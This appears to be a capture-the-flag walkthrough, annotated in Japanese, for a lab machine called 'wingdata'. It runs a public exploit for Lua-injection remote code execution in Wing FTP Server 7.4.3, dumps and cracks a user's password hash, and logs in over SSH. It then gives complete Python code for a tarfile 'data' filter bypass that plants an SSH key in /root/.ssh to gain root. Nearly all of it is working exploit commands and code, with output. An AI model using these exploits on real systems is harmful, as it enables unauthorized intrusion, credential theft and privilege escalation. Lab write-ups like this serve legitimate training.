nmap -Pn -p- --min-rate 1000 -T4 10.129.94.125

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned

# まず /etc/hosts に wingdata.htb を登録しブラウザで確認
echo "10.129.94.125 wingdata.htb ftp.wingdata.htb" | sudo tee -a /etc/hosts

curl -s -H "Host: ftp.wingdata.htb" http://10.129.94.125/login.html | grep -i title

<title>Wing FTP Server - Web Client</title>
...
FTP server software powered by <a href="https://www.wftpserver.com/">Wing FTP Server v7.4.3</a>

Wing FTP Server 7.4.3 以前は login.html の username パラメータに
NULLバイト+Luaコードを注入できる。c_CheckUser() はNULLバイトで文字列を
切り詰めて検証するが、セッションファイル生成ロジックは切り詰め前の
生文字列をそのまま使うため、注入したLuaコードがセッションファイルに
書き込まれる。認証済み機能 (/dir.html 等) へアクセスするとそのLuaコードが
実行され、サーバー上で任意コマンド実行が可能になる (Linuxではroot権限、
Windowsではsystem権限で動作するプロセスのため影響大)。

searchsploit -p 52347
cp /usr/share/exploitdb/exploits/multiple/remote/52347.py .

python3 52347.py -u http://ftp.wingdata.htb/ -c whoami

[+] Sending POST request to http://ftp.wingdata.htb//loginok.html with command: 'whoami'
[+] UID extracted: e97ff7776dfa426270f1d996f79356e4f528764d624db129b32c21fbca0cb8d6
[+] Sending GET request to http://ftp.wingdata.htb//dir.html with UID: e97ff7776d...

--- Command Output ---
wingftp
----------------------

exploit-db 52347.py のソースを確認すると、応答ボディから目的のコマンド出力だけを
抜き出す処理が以下のようになっている:

    clean_output = re.split(r'<\?xml', body)[0].strip()

つまり応答本文中で最初に出現する "<?xml" より前の部分だけを採用する実装。
Wing FTP の wacky.xml はファイル先頭が <?xml version="1.0" ?> で始まる
XML設定ファイルのため、`cat wacky.xml` を直接実行すると、コマンド出力
そのものの先頭にある "<?xml" にこの正規表現がマッチしてしまい、
**抽出結果が空文字列になる** (スクリプト自身のバグ)。

# 失敗する例
python3 52347.py -u http://ftp.wingdata.htb/ -c "cat /opt/wftpserver/Data/1/users/wacky.xml"
# → --- Command Output --- の中身が空になる

# 対策: base64 でエンコードしてから取得し、ローカルでデコードする
python3 52347.py -u http://ftp.wingdata.htb/ -c "base64 -w0 /opt/wftpserver/Data/1/users/wacky.xml"

<?xml version="1.0" ?>
<USER_ACCOUNTS Description="Wing FTP Server User Accounts">
    <USER>
        <UserName>wacky</UserName>
        <EnableAccount>1</EnableAccount>
        <EnablePassword>1</EnablePassword>
        <Password>32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca</Password>
        ...

hashid '32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca' -m

[+] SHA-256 [Hashcat Mode: 1400]
[+] ...

echo '32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca:WingFTP' > hash.txt
hashcat -m 1410 hash.txt /usr/share/wordlists/rockyou.txt --potfile-disable -o crack.txt
cat crack.txt

Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)

32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca:WingFTP:!#7Blushing^*Bride5

ssh wacky@10.129.94.125
# Password: !#7Blushing^*Bride5

wacky@wingdata:~$ cat user.txt

uid=1001(wacky) gid=1001(wacky) groups=1001(wacky)
87ef1811fbb0923c7099d98f3c9e673d

wacky@wingdata:~$ sudo -l

User wacky may run the following commands on wingdata:
    (root) NOPASSWD: /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py *

BACKUP_BASE_DIR = "/opt/backup_clients/backups"
STAGING_BASE = "/opt/backup_clients/restored_backups"

def validate_backup_name(filename):
    if not re.fullmatch(r"^backup_\d+\.tar$", filename):
        return False
    client_id = filename.split('_')[1].rstrip('.tar')
    return client_id.isdigit() and client_id != "0"

# ... 引数検証後 ...
with tarfile.open(backup_path, "r") as tar:
    tar.extractall(path=staging_dir, filter="data")   # ← "data" フィルタ使用

"data" フィルタは、シンボリックリンクを辿った最終的な実体パスを
os.path.realpath() で解決し、それが展開先ディレクトリの内側にあるかを確認する。

しかし os.path.realpath() は PATH_MAX (4096バイト) を超える長さのパスを
解決しようとすると、解決を諦めて "未解決のまま" のパス文字列を返してしまう。
この挙動を利用し、以下の構造を持つ tar を作れば検証をすり抜けられる:

  1. 247文字のディレクトリ名 × 16階層のネストを作る
     (247 × 16 ≈ 3952バイト、PATH_MAX に迫る深さ)
  2. 各階層に、兄弟の長い名前のディレクトリを指す1文字シンボリックリンク
     (a, b, c, ... p) を同時に作成する
  3. a/b/c/.../p + 254文字の最終コンポーネントという形でシンボリックリンクの
     連鎖を辿るパス (linkpath) を組み立てる → これを解決しようとすると
     PATH_MAX を超え、realpath() は検証をバイパスする
  4. linkpath から "../" を16回重ねたシンボリックリンク (元のステージング
     ディレクトリ付近へ"戻る") を作る
  5. "escape" という名前のシンボリックリンクを作り、linkname を
     linkpath + "/../../../../../root/.ssh" とする
     → フィルタ検証時は PATH_MAX 超過で解決を諦めパスするが、
       実際の展開時には OS カーネルがシンボリックリンクを最後まで
       正しく解決し、/root/.ssh に着地する
  6. "escape/authorized_keys" という通常ファイルエントリを追加する
     → escape シンボリックリンクを経由して実体は /root/.ssh/authorized_keys
       に書き込まれる (ハードリンク不要、シンボリックリンク越しの書込だけで良い)

ssh-keygen -f ./rootkey -N ""

import tarfile, os, io

comp = 'd' * 247
steps = "abcdefghijklmnop"
path = ""

with tarfile.open("backup_9999.tar", mode="w") as tar:
    for i in steps:
        a = tarfile.TarInfo(os.path.join(path, comp))
        a.type = tarfile.DIRTYPE
        tar.addfile(a)
        b = tarfile.TarInfo(os.path.join(path, i))
        b.type = tarfile.SYMTYPE
        b.linkname = comp
        tar.addfile(b)
        path = os.path.join(path, comp)

    linkpath = os.path.join("/".join(steps), "l" * 254)
    l = tarfile.TarInfo(linkpath)
    l.type = tarfile.SYMTYPE
    l.linkname = "../" * len(steps)
    tar.addfile(l)

    # escape -> /root/.ssh directory
    e = tarfile.TarInfo("escape")
    e.type = tarfile.SYMTYPE
    e.linkname = linkpath + "/../../../../../root/.ssh"
    tar.addfile(e)

    # Write new file THROUGH the symlink (no hardlink needed)
    pubkey = open("./rootkey.pub", "rb").read()
    n = tarfile.TarInfo("escape/authorized_keys")
    n.type = tarfile.REGTYPE
    n.size = len(pubkey)
    n.mode = 0o600
    tar.addfile(n, fileobj=io.BytesIO(pubkey))

python3 generate_tar.py
scp backup_9999.tar wacky@10.129.94.125:/opt/backup_clients/backups/
# ※ ファイル名は validate_backup_name() の正規表現 ^backup_\d+\.tar$ に
#   一致させる必要がある (client_id は非ゼロの数字文字列)

wacky@wingdata:~$ sudo /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py \
  -b backup_9999.tar -r restore_pwn

[+] Backup: backup_9999.tar
[+] Staging directory: /opt/backup_clients/restored_backups/restore_pwn
[+] Extraction completed in /opt/backup_clients/restored_backups/restore_pwn

ssh -i rootkey root@10.129.94.125
root@wingdata:~# cat root.txt

uid=0(root) gid=0(root) groups=0(root)
b56d8ef2e2fd0f6ff56e34ab711cfe01